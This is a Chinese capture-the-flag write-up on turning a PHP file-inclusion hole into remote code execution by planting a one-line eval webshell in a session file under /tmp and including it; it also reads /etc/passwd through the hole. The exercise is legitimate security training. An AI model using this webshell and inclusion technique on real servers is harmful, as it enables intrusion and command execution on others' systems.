【PolarCTF】session文件包含

开局一个输入框提示输入名字

随便输入进行抓包

很明显是存在一个文件包含漏洞的

先通过base64读取index.php,看看有没有什么有用信息

index.php没什么有用信息

尝试读取下/etc/passwd,是正常的没问题

那么就看看action.php,里面有没有什么有用的东西

action.php的代码如下

php 复制代码
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

通过action.php我们就可以发现漏洞点

session_start()会出发session机制在/tmp目录下生成要给session缓存文件一般格式的话都是:"sess_" + Cookie中PHPSESSION的值

可以看到下面这段代码会接收name的参数值放入session中

php 复制代码
$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}

紧接着这句话文件包含

php 复制代码
include($_GET['file']);

我们就有如下的攻击思路:

使用POST方法通过name参数传递一个一句话------>此时就会在/tmp产生一个文件名可猜的session缓存文件,里面是包含用name参数的的一句话木马------>然后使用file参数将这个缓存文件进行包含,得到webshell

我们先将一句话木马打入session缓存文件,可以多点几次让其生效

php 复制代码
"<?php @eval($_POST['a']);?>"

然后直接文件包含那个缓存文件即可getshell

或者我们也可以不用蚁剑,直接使用system执行命令,然后包含缓存得到结果

注意着这个过程中,可能要多点几次才能生效,因为要写入session

相关推荐
网云工程师手记2 小时前
深信服零信任 aTrust 对接 Keycloak(OIDC)实战指南
网络·网络安全·零信任·oauth2·sso单点登录·企业身份认证
未知鱼2 小时前
Python安全开发asyncio(异步IO与高并发)
python·安全·网络安全·github
Ho1aAs2 小时前
『OpenClaw安全』CVE-2026-25253:ClawJacked One-Click RCE
安全·web安全·网络安全·ai·智能体·agent安全·openclaw
XuanTao7715 小时前
【分享】Lightroom高级版⭕Ai图片剪辑 天空修补
数码相机·计算机网络·网络安全·软件工程·软件构建
乾元20 小时前
安全官(CISO)的困惑:AI 投入产出比(ROI)的衡量
网络·人工智能·安全·网络安全·chatgpt·架构·安全架构
CDN3601 天前
360CDN SDK 游戏盾实测:游戏防护与延迟优化
运维·游戏·网络安全
白帽子黑客罗哥1 天前
PHPStudy安装“从入门到放弃”?
网络安全·工具·安装教程·phpstudy·网络安全工程师
小江的记录本1 天前
【JWT】JWT(JSON Web Token)结构化知识体系(完整版)
前端·网络·web安全·http·网络安全·json·安全架构
BigDark的笔记1 天前
OPTEE 3.15运行在QEMU ARMv8上
网络安全·arm